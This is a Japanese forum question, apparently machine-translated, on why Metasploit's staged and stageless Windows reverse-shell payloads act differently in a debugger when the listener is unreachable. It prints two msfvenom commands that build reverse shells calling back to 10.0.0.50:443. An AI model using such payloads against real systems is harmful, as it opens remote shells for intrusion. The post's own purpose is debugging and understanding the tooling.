上記の2つのMetasploitペイロードは、システム間でリバースシェルを作成するために使用されます。それらの違いはここで明確に説明されています https://github.com/rapid7/metasploit-framework/wiki/How-payloads-work
ただし、接続しようとしているシステムに到達できない場合、両方のペイロードがどのように動作するかを理解しようとしています。
例えば:
msfvenom -p windows/Shell_reverse_tcp LHOST=10.0.0.50 LPORT=443
そして
msfvenom -p windows/Shell/reverse_tcp LHOST=10.0.0.50 LPORT=443
「10.0.0.50」への接続を試みます。問題は、「10.0.0.50」がポート「443」でリッスンしていない場合に各ペイロードがどのように動作するかです。
どちらのペイロードもEXITFUNC process
を使用していますが、デバッガー内で実行してシェルコードの最後の命令にブレークポイントを配置すると、異なる結果が得られました。
どちらも、タイムアウトになると(デフォルトは5秒です)、リモートシステムに接続しようとする「mswsock.dll」を利用します。
Shell_reverse_tcp
は、デバッガー内で「プロセス終了」を示し、[〜#〜] eip [〜#〜]がntdll.KiFastSystemCallRet
を指します。ブレークポイントがヒットすることはありませんShell/reverse_tcp
はシェルコードの最後にあるブレークポイントにヒットしますノート:
Shell_reverse_tcp
は、リモートシステムに最初に接続できた場合にのみ、ブレークポイントにヒットします。 CMD内でexit
を使用してリモートシステムのシェルを終了すると、ブレークポイントがヒットします。リモートリスナーに到達できない場合にブレークポイントに到達し、ヒットしない理由は何ですか?
前もって感謝します。
Msfvenomによって生成されたシェルコードのバグであることが判明